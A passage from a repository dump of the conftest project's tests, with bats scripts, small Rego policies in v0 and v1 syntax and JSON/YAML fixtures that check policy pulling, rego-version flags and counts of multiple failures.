$CONFTEST pull --absolute-paths --policy "${ABS_POLICY_DIR}" https://raw.githubusercontent.com/open-policy-agent/conftest/master/examples/compose/policy/deny.rego 35 | [ "$status" -eq 0 ] 36 | # The policy should be downloaded to the absolute path 37 | [ ! -f "./${ABS_POLICY_DIR#/}/deny.rego" ] 38 | [ -f "${ABS_POLICY_DIR}/deny.rego" ] 39 | } -------------------------------------------------------------------------------- /tests/rego-version/data.yaml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/open-policy-agent/conftest/1e43dc0dd0c39a6c8204df07cfacc48e9dd3caa9/tests/rego-version/data.yaml -------------------------------------------------------------------------------- /tests/rego-version/policy/v0.rego: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | deny[msg] { 4 | input.bar == "baz" 5 | msg := "foo" 6 | } 7 | -------------------------------------------------------------------------------- /tests/rego-version/policy/v1.rego: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | deny contains msg if { 4 | input.bar == "baz" 5 | msg := "foo" 6 | } 7 | -------------------------------------------------------------------------------- /tests/rego-version/test.bats: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bats 2 | 3 | @test "TEST - V0 Policy with V1 flag disabled" { 4 | run $CONFTEST test --policy=policy/v0.rego --rego-version=v0 data.yaml 5 | 6 | [ "$status" -eq 0 ] 7 | echo $output 8 | } 9 | 10 | @test "TEST - V0 Policy with V1 flag enabled" { 11 | run $CONFTEST test --policy=policy/v0.rego --rego-version=v1 data.yaml 12 | 13 | [ "$status" -eq 1 ] 14 | echo $output 15 | } 16 | 17 | @test "TEST - V1 Policy with V1 flag disabled" { 18 | run $CONFTEST test --policy=policy/v1.rego --rego-version=v0 data.yaml 19 | 20 | [ "$status" -eq 1 ] 21 | echo $output 22 | } 23 | 24 | @test "TEST - V1 Policy with V1 flag enabled" { 25 | run $CONFTEST test --policy=policy/v1.rego --rego-version=v1 data.yaml 26 | 27 | [ "$status" -eq 0 ] 28 | echo $output 29 | } 30 | 31 | @test "VERIFY - V0 Policy with V1 flag disabled" { 32 | run $CONFTEST verify --policy=policy/v0.rego --rego-version=v0 33 | 34 | [ "$status" -eq 0 ] 35 | echo $output 36 | } 37 | 38 | @test "VERIFY - V0 Policy with V1 flag enabled" { 39 | run $CONFTEST verify --policy=policy/v0.rego --rego-version=v1 40 | 41 | [ "$status" -eq 1 ] 42 | echo $output 43 | } 44 | 45 | @test "VERIFY - V1 Policy with V1 flag disabled" { 46 | run $CONFTEST verify --policy=policy/v1.rego --rego-version=v0 47 | 48 | [ "$status" -eq 1 ] 49 | echo $output 50 | } 51 | 52 | @test "VERIFY - V1 Policy with V1 flag enabled" { 53 | run $CONFTEST verify --policy=policy/v1.rego --rego-version=v1 54 | 55 | [ "$status" -eq 0 ] 56 | echo $output 57 | } 58 | -------------------------------------------------------------------------------- /tests/return-multiple-failures/file.json: -------------------------------------------------------------------------------- 1 | {} 2 | -------------------------------------------------------------------------------- /tests/return-multiple-failures/policy.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | failures = ["one", "two", "three"] 5 | 6 | deny contains resource_name if { 7 | resource_name = failures[_] 8 | } 9 | -------------------------------------------------------------------------------- /tests/return-multiple-failures/test.bats: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bats 2 | 3 | @test "Policy with multiple failures returns a postive number of failures" { 4 | run $CONFTEST test -p policy.rego file.json 5 | [ "$status" -eq 1 ] 6 | [[ "$output" =~ "3 tests, 0 passed, 0 warnings, 3 failures" ]] 7 | } 8 | --------------------------------------------------------------------------------